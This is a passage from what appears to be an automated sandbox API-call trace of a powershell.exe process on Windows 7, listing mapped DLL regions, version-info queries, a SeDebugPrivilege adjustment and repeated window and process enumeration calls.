= 0x6c240000 end_va = 0x6c3ddfff entry_point = 0x6c240000 region_type = mapped_file name = "microsoft.powershell.commands.utility.ni.dll" filename = "\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.PowerShel#\\3008a05e2928e2c1d856cc34e0422c17\\Microsoft.PowerShell.Commands.Utility.ni.dll" (normalized: "c:\\windows\\assembly\\nativeimages_v2.0.50727_32\\microsoft.powershel#\\3008a05e2928e2c1d856cc34e0422c17\\microsoft.powershell.commands.utility.ni.dll") Region: id = 1195 start_va = 0x2730000 end_va = 0x273ffff entry_point = 0x0 region_type = private name = "private_0x0000000002730000" filename = "" Region: id = 1196 start_va = 0x2bd0000 end_va = 0x2c23fff entry_point = 0x2bd0000 region_type = mapped_file name = "mscorrc.dll" filename = "\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\mscorrc.dll" (normalized: "c:\\windows\\microsoft.net\\framework\\v2.0.50727\\mscorrc.dll") Region: id = 1197 start_va = 0x6b150000 end_va = 0x6b158fff entry_point = 0x6b150000 region_type = mapped_file name = "netutils.dll" filename = "\\Windows\\SysWOW64\\netutils.dll" (normalized: "c:\\windows\\syswow64\\netutils.dll") Region: id = 1198 start_va = 0x6b9d0000 end_va = 0x6bae3fff entry_point = 0x6b9d0000 region_type = mapped_file name = "system.directoryservices.ni.dll" filename = "\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.DirectorySer#\\45ec12795950a7d54691591c615a9e3c\\System.DirectoryServices.ni.dll" (normalized: "c:\\windows\\assembly\\nativeimages_v2.0.50727_32\\system.directoryser#\\45ec12795950a7d54691591c615a9e3c\\system.directoryservices.ni.dll") Region: id = 1199 start_va = 0x6baf0000 end_va = 0x6bbf3fff entry_point = 0x6baf0000 region_type = mapped_file name = "system.management.ni.dll" filename = "\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Management\\6f3b99ed0b791ff4d8aa52f2f0cd0bcf\\System.Management.ni.dll" (normalized: "c:\\windows\\assembly\\nativeimages_v2.0.50727_32\\system.management\\6f3b99ed0b791ff4d8aa52f2f0cd0bcf\\system.management.ni.dll") Region: id = 1200 start_va = 0x6bc00000 end_va = 0x6c135fff entry_point = 0x6bc00000 region_type = mapped_file name = "system.xml.ni.dll" filename = "\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Xml\\461d3b6b3f43e6fbe6c897d5936e17e4\\System.Xml.ni.dll" (normalized: "c:\\windows\\assembly\\nativeimages_v2.0.50727_32\\system.xml\\461d3b6b3f43e6fbe6c897d5936e17e4\\system.xml.ni.dll") Thread: id = 52 os_tid = 0xa70 [0056.371] CoInitializeEx (pvReserved=0x0, dwCoInit=0x0) returned 0x0 [0056.428] SysStringByteLen (bstr="Microsoft.PowerShell.ConsoleHost, Version=1.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35, ProcessorArchitecture=msil") returned 0xfe [0056.428] SysStringByteLen (bstr="Microsoft.PowerShell.ConsoleHost, Version=1.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35, ProcessorArchitecture=msil") returned 0xfe [0056.428] SysStringByteLen (bstr="Microsoft.PowerShell.UnmanagedPSEntry") returned 0x4a [0056.428] SysStringByteLen (bstr="Microsoft.PowerShell.UnmanagedPSEntry") returned 0x4a [0056.687] GetVersionExW (in: lpVersionInformation=0x621278*(dwOSVersionInfoSize=0x114, dwMajorVersion=0x0, dwMinorVersion=0x0, dwBuildNumber=0x0, dwPlatformId=0x0, szCSDVersion="") | out: lpVersionInformation=0x621278*(dwOSVersionInfoSize=0x114, dwMajorVersion=0x6, dwMinorVersion=0x1, dwBuildNumber=0x1db1, dwPlatformId=0x2, szCSDVersion="Service Pack 1")) returned 1 [0056.687] GetLastError () returned 0x2 [0056.688] GetVersionExW (in: lpVersionInformation=0x621278*(dwOSVersionInfoSize=0x11c, dwMajorVersion=0x0, dwMinorVersion=0x0, dwBuildNumber=0x0, dwPlatformId=0x0, szCSDVersion="") | out: lpVersionInformation=0x621278*(dwOSVersionInfoSize=0x11c, dwMajorVersion=0x6, dwMinorVersion=0x1, dwBuildNumber=0x1db1, dwPlatformId=0x2, szCSDVersion="Service Pack 1")) returned 1 [0056.688] GetLastError () returned 0x2 [0056.691] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x21e9dc, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0056.691] GetLastError () returned 0x2 [0056.694] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x21e9f8, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0056.695] GetLastError () returned 0x2 [0056.695] GetVersionExW (in: lpVersionInformation=0x621278*(dwOSVersionInfoSize=0x114, dwMajorVersion=0x0, dwMinorVersion=0x0, dwBuildNumber=0x0, dwPlatformId=0x0, szCSDVersion="") | out: lpVersionInformation=0x621278*(dwOSVersionInfoSize=0x114, dwMajorVersion=0x6, dwMinorVersion=0x1, dwBuildNumber=0x1db1, dwPlatformId=0x2, szCSDVersion="Service Pack 1")) returned 1 [0056.695] GetLastError () returned 0x2 [0056.695] SetErrorMode (uMode=0x1) returned 0x1 [0056.696] GetFileAttributesExW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll" (normalized: "c:\\windows\\assembly\\gac_msil\\system.management.automation\\1.0.0.0__31bf3856ad364e35\\system.management.automation.dll"), fInfoLevelId=0x0, lpFileInformation=0x21ee78 | out: lpFileInformation=0x21ee78*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa85ac0a8, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xa85ac0a8, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xa85d2208, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x2df000)) returned 1 [0056.696] GetLastError () returned 0x2 [0056.696] SetErrorMode (uMode=0x1) returned 0x1 [0056.699] GetFileVersionInfoSizeW (in: lptstrFilename="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpdwHandle=0x21eefc | out: lpdwHandle=0x21eefc) returned 0x94c [0056.701] GetLastError () returned 0x0 [0056.702] GetFileVersionInfoW (in: lptstrFilename="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", dwHandle=0x0, dwLen=0x94c, lpData=0x2c64df0 | out: lpData=0x2c64df0) returned 1 [0056.704] VerQueryValueW (in: pBlock=0x2c64df0, lpSubBlock="\\VarFileInfo\\Translation", lplpBuffer=0x21eec8, puLen=0x21eec4 | out: lplpBuffer=0x21eec8*=0x2c64e8c, puLen=0x21eec4) returned 1 [0056.706] lstrlenW (lpString="䅁") returned 1 [0056.710] VerQueryValueW (in: pBlock=0x2c64df0, lpSubBlock="\\\\StringFileInfo\\\\000004B0\\\\CompanyName", lplpBuffer=0x21ee44, puLen=0x21ee40 | out: lplpBuffer=0x21ee44*=0x2c64f68, puLen=0x21ee40) returned 1 [0056.711] lstrlenW (lpString="Microsoft Corporation") returned 21 [0056.712] lstrcpyW (in: lpString1=0x621260, lpString2="Microsoft Corporation" | out: lpString1="Microsoft Corporation") returned="Microsoft Corporation" [0056.712] VerQueryValueW (in: pBlock=0x2c64df0, lpSubBlock="\\\\StringFileInfo\\\\000004B0\\\\FileDescription", lplpBuffer=0x21ee44, puLen=0x21ee40 | out: lplpBuffer=0x21ee44*=0x2c64fbc, puLen=0x21ee40) returned 1 [0056.712] lstrlenW (lpString="System.Management.Automation") returned 28 [0056.712] lstrcpyW (in: lpString1=0x621260, lpString2="System.Management.Automation" | out: lpString1="System.Management.Automation") returned="System.Management.Automation" [0056.712] VerQueryValueW (in: pBlock=0x2c64df0, lpSubBlock="\\\\StringFileInfo\\\\000004B0\\\\FileVersion", lplpBuffer=0x21ee44, puLen=0x21ee40 | out: lplpBuffer=0x21ee44*=0x2c65018, puLen=0x21ee40) returned 1 [0056.712] lstrlenW (lpString="6.1.7601.17514") returned 14 [0056.712] lstrcpyW (in: lpString1=0x621260, lpString2="6.1.7601.17514" | out: lpString1="6.1.7601.17514") returned="6.1.7601.17514" [0056.712] VerQueryValueW (in: pBlock=0x2c64df0, lpSubBlock="\\\\StringFileInfo\\\\000004B0\\\\InternalName", lplpBuffer=0x21ee44, puLen=0x21ee40 | out: lplpBuffer=0x21ee44*=0x2c65058, puLen=0x21ee40) returned 1 [0056.712] lstrlenW (lpString="System.Management.Automation.dll") returned 32 [0056.712] lstrcpyW (in: lpString1=0x621260, lpString2="System.Management.Automation.dll" | out: lpString1="System.Management.Automation.dll") returned="System.Management.Automation.dll" [0056.713] VerQueryValueW (in: pBlock=0x2c64df0, lpSubBlock="\\\\StringFileInfo\\\\000004B0\\\\LegalCopyright", lplpBuffer=0x21ee44, puLen=0x21ee40 | out: lplpBuffer=0x21ee44*=0x2c650c0, puLen=0x21ee40) returned 1 [0056.713] lstrlenW (lpString="Copyright (c) Microsoft Corporation. All rights reserved.") returned 57 [0056.713] lstrcpyW (in: lpString1=0x621260, lpString2="Copyright (c) Microsoft Corporation. All rights reserved." | out: lpString1="Copyright (c) Microsoft Corporation. All rights reserved.") returned="Copyright (c) Microsoft Corporation. All rights reserved." [0056.713] VerQueryValueW (in: pBlock=0x2c64df0, lpSubBlock="\\\\StringFileInfo\\\\000004B0\\\\OriginalFilename", lplpBuffer=0x21ee44, puLen=0x21ee40 | out: lplpBuffer=0x21ee44*=0x2c6515c, puLen=0x21ee40) returned 1 [0056.713] lstrlenW (lpString="System.Management.Automation.dll") returned 32 [0056.713] lstrcpyW (in: lpString1=0x621260, lpString2="System.Management.Automation.dll" | out: lpString1="System.Management.Automation.dll") returned="System.Management.Automation.dll" [0056.713] VerQueryValueW (in: pBlock=0x2c64df0, lpSubBlock="\\\\StringFileInfo\\\\000004B0\\\\ProductName", lplpBuffer=0x21ee44, puLen=0x21ee40 | out: lplpBuffer=0x21ee44*=0x2c651c0, puLen=0x21ee40) returned 1 [0056.713] lstrlenW (lpString="Microsoft (R) Windows (R) Operating System") returned 42 [0056.713] lstrcpyW (in: lpString1=0x621260, lpString2="Microsoft (R) Windows (R) Operating System" | out: lpString1="Microsoft (R) Windows (R) Operating System") returned="Microsoft (R) Windows (R) Operating System" [0056.713] VerQueryValueW (in: pBlock=0x2c64df0, lpSubBlock="\\\\StringFileInfo\\\\000004B0\\\\ProductVersion", lplpBuffer=0x21ee44, puLen=0x21ee40 | out: lplpBuffer=0x21ee44*=0x2c6523c, puLen=0x21ee40) returned 1 [0056.713] lstrlenW (lpString="6.1.7601.17514") returned 14 [0056.713] lstrcpyW (in: lpString1=0x621260, lpString2="6.1.7601.17514" | out: lpString1="6.1.7601.17514") returned="6.1.7601.17514" [0056.713] VerQueryValueW (in: pBlock=0x2c64df0, lpSubBlock="\\\\StringFileInfo\\\\000004B0\\\\Comments", lplpBuffer=0x21ee44, puLen=0x21ee40 | out: lplpBuffer=0x21ee44*=0x2c64ee4, puLen=0x21ee40) returned 1 [0056.713] lstrlenW (lpString="Microsoft Windows PowerShell Engine Core Assembly") returned 49 [0056.713] lstrcpyW (in: lpString1=0x621260, lpString2="Microsoft Windows PowerShell Engine Core Assembly" | out: lpString1="Microsoft Windows PowerShell Engine Core Assembly") returned="Microsoft Windows PowerShell Engine Core Assembly" [0056.713] VerQueryValueW (in: pBlock=0x2c64df0, lpSubBlock="\\\\StringFileInfo\\\\000004B0\\\\LegalTrademarks", lplpBuffer=0x21ee44, puLen=0x21ee40 | out: lplpBuffer=0x21ee44*=0x0, puLen=0x21ee40) returned 0 [0056.713] VerQueryValueW (in: pBlock=0x2c64df0, lpSubBlock="\\\\StringFileInfo\\\\000004B0\\\\PrivateBuild", lplpBuffer=0x21ee44, puLen=0x21ee40 | out: lplpBuffer=0x21ee44*=0x0, puLen=0x21ee40) returned 0 [0056.713] VerQueryValueW (in: pBlock=0x2c64df0, lpSubBlock="\\\\StringFileInfo\\\\000004B0\\\\SpecialBuild", lplpBuffer=0x21ee44, puLen=0x21ee40 | out: lplpBuffer=0x21ee44*=0x0, puLen=0x21ee40) returned 0 [0056.713] VerQueryValueW (in: pBlock=0x2c64df0, lpSubBlock="\\VarFileInfo\\Translation", lplpBuffer=0x21ee38, puLen=0x21ee34 | out: lplpBuffer=0x21ee38*=0x2c64e8c, puLen=0x21ee34) returned 1 [0056.714] VerLanguageNameW (in: wLang=0x0, szLang=0x621260, cchLang=0x100 | out: szLang="Language Neutral") returned 0x10 [0056.716] VerQueryValueW (in: pBlock=0x2c64df0, lpSubBlock="\\", lplpBuffer=0x21ee4c, puLen=0x21ee48 | out: lplpBuffer=0x21ee4c*=0x2c64e18, puLen=0x21ee48) returned 1 [0056.719] GetCurrentProcessId () returned 0xa6c [0056.724] LookupPrivilegeValueW (in: lpSystemName=0x0, lpName="SeDebugPrivilege", lpLuid=0x21e684 | out: lpLuid=0x21e684*(LowPart=0x14, HighPart=0)) returned 1 [0056.725] GetLastError () returned 0x0 [0056.726] GetCurrentProcess () returned 0xffffffff [0056.726] GetLastError () returned 0x0 [0056.727] OpenProcessToken (in: ProcessHandle=0xffffffff, DesiredAccess=0x20, TokenHandle=0x21e680 | out: TokenHandle=0x21e680*=0x304) returned 1 [0056.727] GetLastError () returned 0x0 [0056.728] AdjustTokenPrivileges (in: TokenHandle=0x304, DisableAllPrivileges=0, NewState=0x2c67930*(PrivilegesCount=0x1, Privileges=((Luid.LowPart=0x14, Luid.HighPart=0, Attributes=0x2))), BufferLength=0x0, PreviousState=0x0, ReturnLength=0x0 | out: PreviousState=0x0, ReturnLength=0x0) returned 1 [0056.728] GetLastError () returned 0x514 [0056.729] CloseHandle (hObject=0x304) returned 1 [0056.729] GetLastError () returned 0x514 [0056.732] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0xa6c) returned 0x304 [0056.732] GetLastError () returned 0x514 [0056.738] EnumProcessModules (in: hProcess=0x304, lphModule=0x2c67974, cb=0x100, lpcbNeeded=0x21ee74 | out: lphModule=0x2c67974, lpcbNeeded=0x21ee74) returned 1 [0056.739] GetLastError () returned 0x514 [0056.741] GetModuleInformation (in: hProcess=0x304, hModule=0x21950000, lpmodinfo=0x2c67ab4, cb=0xc | out: lpmodinfo=0x2c67ab4*(lpBaseOfDll=0x21950000, SizeOfImage=0x72000, EntryPoint=0x21957363)) returned 1 [0056.741] GetLastError () returned 0x514 [0056.742] GetModuleBaseNameW (in: hProcess=0x304, hModule=0x21950000, lpBaseName=0x621a20, nSize=0x800 | out: lpBaseName="powershell.exe") returned 0xe [0056.742] GetLastError () returned 0x514 [0056.743] GetModuleFileNameExW (in: hProcess=0x304, hModule=0x21950000, lpFilename=0x621a20, nSize=0x800 | out: lpFilename="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\powershell.exe" (normalized: "c:\\windows\\syswow64\\windowspowershell\\v1.0\\powershell.exe")) returned 0x39 [0056.743] GetLastError () returned 0x514 [0056.744] CloseHandle (hObject=0x304) returned 1 [0056.744] GetLastError () returned 0x514 [0056.744] OpenProcess (dwDesiredAccess=0x1f0fff, bInheritHandle=0, dwProcessId=0xa6c) returned 0x304 [0056.744] GetLastError () returned 0x514 [0056.745] GetExitCodeProcess (in: hProcess=0x304, lpExitCode=0x2c66f64 | out: lpExitCode=0x2c66f64*=0x103) returned 1 [0056.745] GetLastError () returned 0x514 [0056.751] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x3c65278, Length=0x20000, ResultLength=0x21eebc | out: SystemInformation=0x3c65278, ResultLength=0x21eebc*=0x9a90) returned 0x0 [0056.760] EnumWindows (lpEnumFunc=0x2a83612, lParam=0x0) returned 1 [0056.762] GetWindowThreadProcessId (in: hWnd=0x101fa, lpdwProcessId=0x21eb10 | out: lpdwProcessId=0x21eb10) returned 0x4ac [0056.762] GetLastError () returned 0x514 [0056.762] GetWindowThreadProcessId (in: hWnd=0x101ca, lpdwProcessId=0x21eb10 | out: lpdwProcessId=0x21eb10) returned 0x65c [0056.762] GetLastError () returned 0x514 [0056.762] GetWindowThreadProcessId (in: hWnd=0x101c8, lpdwProcessId=0x21eb10 | out: lpdwProcessId=0x21eb10) returned 0x65c [0056.762] GetLastError () returned 0x514 [0056.762] GetWindowThreadProcessId (in: hWnd=0x10134, lpdwProcessId=0x21eb10 | out: lpdwProcessId=0x21eb10) returned 0x580 [0056.762] GetLastError () returned 0x514 [0056.762] GetWindowThreadProcessId (in: hWnd=0x1012c, lpdwProcessId=0x21eb10 | out: lpdwProcessId=0x21eb10) returned 0x310 [0056.762] GetLastError () returned 0x514 [0056.762] GetWindowThreadProcessId (in: hWnd=0x200ce, lpdwProcessId=0x21eb10 | out: lpdwProcessId=0x21eb10) returned 0x4ac [0056.762] GetLastError () returned 0x514 [0056.762] GetWindowThreadProcessId (in: hWnd=0x200ea, lpdwProcessId=0x21eb10 | out: lpdwProcessId=0x21eb10) returned 0x4ac [0056.763] GetLastError () returned 0x514 [0056.763] GetWindowThreadProcessId (in: hWnd=0x200f2, lpdwProcessId=0x21eb10 | out: lpdwProcessId=0x21eb10) returned 0x4ac [0056.763] GetLastError () returned 0x514 [0056.763] GetWindowThreadProcessId (in: hWnd=0x200e8, lpdwProcessId=0x21eb10 | out: lpdwProcessId=0x21eb10) returned 0x4ac [0056.763] GetLastError () returned 0x514 [0056.763] GetWindowThreadProcessId (in: hWnd=0x10076, lpdwProcessId=0x21eb10 | out: lpdwProcessId=0x21eb10) returned 0x4ac [0056.763] GetLastError () returned 0x514 [0056.763] GetWindowThreadProcessId (in: hWnd=0x10074, lpdwProcessId=0x21eb10 | out: lpdwProcessId=0x21eb10) returned 0x4ac [0056.763] GetLastError () returned 0x514 [0056.763] GetWindowThreadProcessId (in: hWnd=0x10060, lpdwProcessId=0x21eb10 | out: lpdwProcessId=0x21eb10) returned 0x4ac [0056.763] GetLastError () returned 0x514 [0056.763] GetWindowThreadProcessId (in: hWnd=0x1008a, lpdwProcessId=0x21eb10 | out: lpdwProcessId=0x21eb10) returned 0x4ac [0056.763] GetLastError () returned 0x514 [0056.763] GetWindowThreadProcessId (in: hWnd=0x1007e, lpdwProcessId=0x21eb10 | out: lpdwProcessId=0x21eb10) returned 0x4ac [0056.763] GetLastError () returned 0x514 [0056.763] GetWindowThreadProcessId (in: hWnd=0x1007c, lpdwProcessId=0x21eb10 | out: lpdwProcessId=0x21eb10) returned 0x4ac [0056.763] GetLastError () returned 0x514 [0056.763] GetWindowThreadProcessId (in: hWnd=0x10078, lpdwProcessId=0x21eb10 | out: lpdwProcessId=0x21eb10) returned 0x4ac [0056.763] GetLastError () returned 0x514 [0056.764] GetWindowThreadProcessId (in: hWnd=0x10058, lpdwProcessId=0x21eb10 | out: lpdwProcessId=0x21eb10) returned 0x4ac [0056.764] GetLastError () returned 0x514 [0056.764] GetWindowThreadProcessId (in: hWnd=0x10050, lpdwProcessId=0x21eb10 | out: lpdwProcessId=0x21eb10) returned 0x4ac [0056.764] GetLastError () returned 0x514 [0056.764] GetWindowThreadProcessId (in: hWnd=0x100fc, lpdwProcessId=0x21eb10 | out: lpdwProcessId=0x21eb10) returned 0x468 [0056.764] GetLastError () returned 0x514 [0056.764] GetWindowThreadProcessId (in: hWnd=0x5009c, lpdwProcessId=0x21eb10 | out: lpdwProcessId=0x21eb10) returned 0x4ac [0056.764] GetLastError () returned 0x514 [0056.764] GetWindowThreadProcessId (in: hWnd=0x1008c, lpdwProcessId=0x21eb10 | out: lpdwProcessId=0x21eb10) returned 0x4ac [0056.764] GetLastError () returned 0x514 [0056.764] GetWindowThreadProcessId (in: hWnd=0x7009e, lpdwProcessId=0x21eb10 | out: lpdwProcessId=0x21eb10) returned 0xa2c [0056.764] GetLastError () returned 0x514 [0056.764] GetWindowThreadProcessId (in: hWnd=0x501b0, lpdwProcessId=0x21eb10 | out: lpdwProcessId=0x21eb10) returned 0x8d8 [0056.764] GetLastError () returned 0x514 [0056.764] GetWindowThreadProcessId (in: hWnd=0x30224, lpdwProcessId=0x21eb10 | out: lpdwProcessId=0x21eb10) returned 0x9c4 [0056.764] GetLastError () returned 0x514 [0056.764] GetWindowThreadProcessId (in: hWnd=0x401f2, lpdwProcessId=0x21eb10 | out: lpdwProcessId=0x21eb10) returned 0x9c4 [0056.764] GetLastError () returned 0x514 [0056.764] GetWindowThreadProcessId (in: hWnd=0x30226, lpdwProcessId=0x21eb10 | out: lpdwProcessId=0x21eb10) returned 0x9c4 [0056.764] GetLastError () returned 0x514 [0056.764] GetWindowThreadProcessId (in: hWnd=0x301b8, lpdwProcessId=0x21eb10 | out: lpdwProcessId=0x21eb10) returned 0x8d8 [0056.764] GetLastError () returned 0x514 [0056.765] GetWindowThreadProcessId (in: hWnd=0x101bc, lpdwProcessId=0x21eb10 | out: lpdwProcessId=0x21eb10) returned 0x8d8 [0056.765] GetLastError () returned 0x514 [0056.765] GetWindowThreadProcessId (in: hWnd=0x101c4, lpdwProcessId=0x21eb10 | out: lpdwProcessId=0x21eb10) returned 0x8d8 [0056.765] GetLastError () returned 0x514 [0056.765] GetWindowThreadProcessId (in: hWnd=0x101c0, lpdwProcessId=0x21eb10 | out: lpdwProcessId=0x21eb10) returned 0x8d8 [0056.765] GetLastError () returned 0x514 [0056.765] GetWindowThreadProcessId (in: hWnd=0x10198, lpdwProcessId=0x21eb10 | out: lpdwProcessId=0x21eb10) returned 0x820 [0056.765] GetLastError () returned 0x514 [0056.765] GetWindowThreadProcessId (in: hWnd=0x10194, lpdwProcessId=0x21eb10 | out: lpdwProcessId=0x21eb10) returned 0x810 [0056.765] GetLastError () returned 0x514 [0056.765] GetWindowThreadProcessId (in: hWnd=0x10190, lpdwProcessId=0x21eb10 | out: lpdwProcessId=0x21eb10) returned 0x608 [0056.765] GetLastError () returned 0x514 [0056.765] GetWindowThreadProcessId (in: hWnd=0x1018c, lpdwProcessId=0x21eb10 | out: lpdwProcessId=0x21eb10) returned 0x75c [0056.765] GetLastError () returned 0x514 [0056.765] GetWindowThreadProcessId (in: hWnd=0x10188, lpdwProcessId=0x21eb10 | out: lpdwProcessId=0x21eb10) returned 0x318 [0056.765] GetLastError () returned 0x514 [0056.765] GetWindowThreadProcessId (in: hWnd=0x10184, lpdwProcessId=0x21eb10 | out: lpdwProcessId=0x21eb10) returned 0x7ac [0056.765] GetLastError () returned 0x514 [0056.765] GetWindowThreadProcessId (in: hWnd=0x10180, lpdwProcessId=0x21eb10 | out: lpdwProcessId=0x21eb10) returned 0x660 [0056.765] GetLastError () returned 0x514 [0056.766] GetWindowThreadProcessId (in: hWnd=0x1017c, lpdwProcessId=0x21eb10 | out: lpdwProcessId=0x21eb10) returned 0x38c [0056.766] GetLastError () returned 0x514 [0056.766] GetWindowThreadProcessId (in: hWnd=0x10178, lpdwProcessId=0x21eb10 | out: lpdwProcessId=0x21eb10) returned 0x6e0 [0056.766] GetLastError () returned 0x514 [0056.766] GetWindowThreadProcessId (in: hWnd=0x10174, lpdwProcessId=0x21eb10 | out: lpdwProcessId=0x21eb10) returned 0x610 [0056.766] GetLastError () returned 0x514 [0056.766] GetWindowThreadProcessId (in: hWnd=0x10170, lpdwProcessId=0x21eb10 | out: lpdwProcessId=0x21eb10) returned 0x624 [0056.766] GetLastError () returned 0x514 [0056.766] GetWindowThreadProcessId (in: hWnd=0x1016c, lpdwProcessId=0x21eb10 | out: lpdwProcessId=0x21eb10) returned 0x160 [0056.766] GetLastError () returned 0x514 [0056.766] GetWindowThreadProcessId (in: hWnd=0x10168, lpdwProcessId=0x21eb10 | out: lpdwProcessId=0x21eb10) returned 0x7f0 [0056.766] GetLastError () returned 0x514 [0056.766] GetWindowThreadProcessId (in: hWnd=0x10164, lpdwProcessId=0x21eb10 | out: lpdwProcessId=0x21eb10) returned 0x7a8 [0056.766] GetLastError () returned 0x514 [0056.766] GetWindowThreadProcessId (in: hWnd=0x10160, lpdwProcessId=0x21eb10 | out: lpdwProcessId=0x21eb10) returned 0x7b4 [0056.766] GetLastError () returned 0x514 [0056.766] GetWindowThreadProcessId (in: hWnd=0x1015c, lpdwProcessId=0x21eb10 | out: lpdwProcessId=0x21eb10) returned 0x7a4 [0056.766] GetLastError () returned 0x514 [0056.766] GetWindowThreadProcessId (in: hWnd=0x10158, lpdwProcessId=0x21eb10 | out: lpdwProcessId=0x21eb10) returned 0x7c4 [0056.766] GetLastError () returned 0x514 [0056.766] GetWindowThreadProcessId (in: hWnd=0x10152, lpdwProcessId=0x21eb10 | out: lpdwProcessId=0x21eb10) returned 0x7fc [0056.766] GetLastError () returned 0x514 [0056.767] GetWindowThreadProcessId (in: hWnd=0x10150, lpdwProcessId=0x21eb10 | out: lpdwProcessId=0x21eb10) returned 0x7f8 [0056.767] GetLastError () returned 0x514 [0056.767] GetWindowThreadProcessId (in: hWnd=0x5014a, lpdwProcessId=0x21eb10 | out: lpdwProcessId=0x21eb10) returned 0x708 [0056.767] GetLastError () returned 0x514 [0056.767] GetWindowThreadProcessId (in: hWnd=0x30148, lpdwProcessId=0x21eb10 | out: lpdwProcessId=0x21eb10) returned 0x588 [0056.767] GetLastError () returned 0x514 [0056.767] GetWindowThreadProcessId (in: hWnd=0x10142, lpdwProcessId=0x21eb10 | out: lpdwProcessId=0x21eb10) returned 0x580 [0056.767] GetLastError () returned 0x514 [0056.767] GetWindowThreadProcessId (in: hWnd=0x1013c, lpdwProcessId=0x21eb10 | out: lpdwProcessId=0x21eb10) returned 0x5a8 [0056.767] GetLastError () returned 0x514 [0056.767] GetWindowThreadProcessId (in: hWnd=0x20132, lpdwProcessId=0x21eb10 | out: lpdwProcessId=0x21eb10) returned 0x580 [0056.767] GetLastError () returned 0x514 [0056.767] GetWindowThreadProcessId (in: hWnd=0x10126, lpdwProcessId=0x21eb10 | out: lpdwProcessId=0x21eb10) returned 0x5a8 [0056.767] GetLastError () returned 0x514 [0056.767] GetWindowThreadProcessId (in: hWnd=0x1011e, lpdwProcessId=0x21eb10 | out: lpdwProcessId=0x21eb10) returned 0x580 [0056.767] GetLastError () returned 0x514 [0056.767] GetWindowThreadProcessId (in: hWnd=0x10114, lpdwProcessId=0x21eb10 | out: lpdwProcessId=0x21eb10) returned 0x588 [0056.767] GetLastError () returned 0x514 [0056.767] GetWindowThreadProcessId (in: hWnd=0x200d2, lpdwProcessId=0x21eb10 | out: lpdwProcessId=0x21eb10) returned 0x588 [0056.767] GetLastError () returned 0x514 [0056.767] GetWindowThreadProcessId (in: hWnd=0x200c2, lpdwProcessId=0x21eb10 | out: lpdwProcessId=0x21eb10) returned 0x4ac [0056.768] GetLastError () returned 0x514 [0056.768] GetWindowThreadProcessId (in: hWnd=0x200b0, lpdwProcessId=0x21eb10 | out: lpdwProcessId=0x21eb10) returned 0x4ac [0056.768] GetLastError () returned 0x514 [0056.768] GetWindowThreadProcessId (in: hWnd=0x200b2, lpdwProcessId=0x21eb10 | out: lpdwProcessId=0x21eb10) returned 0x4ac [0056.768] GetLastError () returned 0x514 [0056.768] GetWindowThreadProcessId (in: hWnd=0x200b6, lpdwProcessId=0x21eb10 | out: lpdwProcessId=0x21eb10) returned 0x4ac [0056.768] GetLastError () returned 0x514 [0056.768] GetWindowThreadProcessId (in: hWnd=0x200be, lpdwProcessId=0x21eb10 | out: lpdwProcessId=0x21eb10) returned 0x4ac [0056.768] GetLastError () returned 0x514 [0056.768] GetWindowThreadProcessId (in: hWnd=0x300cc, lpdwProcessId=0x21eb10 | out: lpdwProcessId=0x21eb10) returned 0x4ac [0056.768] GetLastError () returned 0x514 [0056.768] GetWindowThreadProcessId (in: hWnd=0x800a2, lpdwProcessId=0x21eb10 | out: lpdwProcessId=0x21eb10) returned 0x4ac [0056.768] GetLastError () returned 0x514 [0056.768] GetWindowThreadProcessId (in: hWnd=0x1010a, lpdwProcessId=0x21eb10 | out: lpdwProcessId=0x21eb10) returned 0x5b8 [0056.768] GetLastError () returned 0x514 [0056.768] GetWindowThreadProcessId (in: hWnd=0x10104, lpdwProcessId=0x21eb10 | out: lpdwProcessId=0x21eb10) returned 0x468 [0056.768] GetLastError () returned 0x514 [0056.768] GetWindowThreadProcessId (in: hWnd=0x100f6, lpdwProcessId=0x21eb10 | out: lpdwProcessId=0x21eb10) returned 0x5a4 [0056.768] GetLastError () returned 0x514 [0056.768] GetWindowThreadProcessId (in: hWnd=0x5008e, lpdwProcessId=0x21eb10 | out: lpdwProcessId=0x21eb10) returned 0x4ac [0056.768] GetLastError () returned 0x514 [0056.769] GetWindowThreadProcessId (in: hWnd=0x10084, lpdwProcessId=0x21eb10 | out: lpdwProcessId=0x21eb10) returned 0x570 [0056.769] GetLastError () returned 0x514 [0056.769] GetWindowThreadProcessId (in: hWnd=0x10082, lpdwProcessId=0x21eb10 | out: lpdwProcessId=0x21eb10) returned 0x4ac [0056.769] GetLastError () returned 0x514 [0056.769] GetWindowThreadProcessId (in: hWnd=0x1007a, 